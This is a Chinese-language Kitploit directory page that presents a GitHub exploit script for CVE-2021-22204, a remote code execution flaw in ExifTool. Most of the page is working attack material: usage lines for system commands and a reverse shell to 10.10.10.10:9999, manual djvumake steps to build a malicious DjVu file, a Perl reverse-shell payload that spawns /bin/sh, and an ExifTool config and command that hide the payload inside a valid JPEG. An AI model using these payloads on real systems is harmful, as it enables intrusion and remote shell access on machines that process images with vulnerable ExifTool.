Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-22204 — CVE-2021-22204 的利用脚本,通过恶意 DjVu 文件实现 ExifTool 远程代码执行(RCE),包含手动利用步骤和反弹 Shell 载荷。 | Kitploit
工具/GitHubGitHub/assassinukg/cve-2021-22204
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubassassinukg/cve-2021-22204

CVE-2021-22204

CVE-2021-22204 的利用脚本,通过恶意 DjVu 文件实现 ExifTool 远程代码执行(RCE),包含手动利用步骤和反弹 Shell 载荷。

查看仓库
27924年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-22204

描述

在 ExifTool 7.44 及以上版本中,DjVu 文件格式对用户数据的中和不当,使得解析恶意图片时可执行任意代码。

脚本

脚本链接

image

脚本用法:

系统命令:

root@kitploit:~
bash CVE-2021-2204.sh "system('id')" happy.jpg 

反弹 shell

root@kitploit:~
bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg

*你的 IP 和端口

手动利用

root@kitploit:~
$ sudo apt install djvulibre-bin
# 安装所需工具
 
$ bzz payload payload.bzz
# 压缩我们的 payload 文件,使其不可读
 
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = 格式为 'N,N',其中 N 为数字
# BGjp = 期望 JPEG 图像,但我们可使用 /dev/null 作为无背景图像
# ANTz = 将压缩后的注释块写入输入文件

Payload

root@kitploit:~
(metadata "\c${system('id')};")

Payload(用于反弹 shell)

root@kitploit:~
(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")

然后,当受害者使用易受攻击版本的 ExifTool 打开 exploit.djvu 文件时,我们嵌入的 Perl 代码将执行命令 id 。

ExifTool 配置文件

root@kitploit:~
%Image::ExifTool::UserDefined = (
    # 所有 EXIF 标签都添加到 Main 表中,WriteGroup 用于
    # 指定标签写入位置(若未指定,默认写入 ExifIFD):
    'Image::ExifTool::Exif::Main' => {
        # 示例 1.  EXIF:NewEXIFTag
        0xc51b => {
            Name => 'HasselbladExif',
            Writable => 'string',
            WriteGroup => 'IFD0',
        },
        # 在此处添加更多自定义 EXIF 标签...
    },
);
1; #end%

此文件的作用是允许我们在文件中写入一个新标签,名称为 HasselbladExif,标识字节为 0xc51b,然后将其插入到我们新文件中。 [8]接着,利用该文件以及我们已制作好的 exploit.djvu,将恶意 DjVu 文件插入到一个有效的 JPEG 文件中。

root@kitploit:~
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg

configfile = 我们的配置文件名;
-HasselbladExif = 配置文件中指定的标签名;
exploit.djvu = 我们之前用 djvumake 制作好的利用文件;
hacker.jpg = 一个有效的 JPEG 文件;

致谢及帮助:https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/

下载工具